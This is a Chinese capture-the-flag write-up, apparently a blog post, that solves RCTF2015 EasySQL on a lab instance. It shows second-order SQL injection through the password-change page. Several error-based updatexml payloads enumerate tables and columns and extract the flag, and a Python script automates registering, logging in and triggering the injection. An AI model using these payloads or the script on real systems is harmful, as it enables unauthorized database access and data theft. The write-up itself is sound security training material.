NO.3-13 [RCTF2015]EasySQL

  • 打开靶机,是如下界面

  • 到注册页面,试了一下,usernameemail 处有过滤,直接 fuzz 一下哪些字符被禁了

  • 注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入

  • 它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理

  • 注册用户名 'sss"\ ,在修改密码处的有个报错的回显

  • 可以猜出来 sql 语句应该是类似于这样子的

select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'
  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

  • 经过测试,flag 不在 flag 表中

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

  • 发现输出有长度限制

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

  • 这里就很尴尬了,所以不如 reverse 逆序输出

  • username=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

  • 放个脚本,代表了这一题的整个流程,也记录的我的犯傻

    import requests
    
    url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
    url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
    url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'
    
    pre = 'peri0d"'
    suf = "'))),1))#"
    
    s = 'abcdefghijklmnopqrstuvwxyz1234567890'
    s = list(s)
    
    r = requests.session()
    
    def register(name):
    	data = {
    		'username' : name,
    		'password' : '123',
    		'email' : '123',
    	}
    	r.post(url=url_reg, data=data)
    
    def login(name):
    	data = {
    		'username' : name,
    		'password' : '123',
    	}
    	r.post(url=url_log, data=data)
    	
    def changepwd():
    	data = {
    		'oldpass' : '',
    		'newpass' : '',
    	}
    	kk = r.post(url=url_change, data=data)
    	if 'target' not in kk.text:
    		print(kk.text)
    
    for i in s:
    	paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
    	register(paylaod)
    	login(paylaod)
    	changepwd()
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值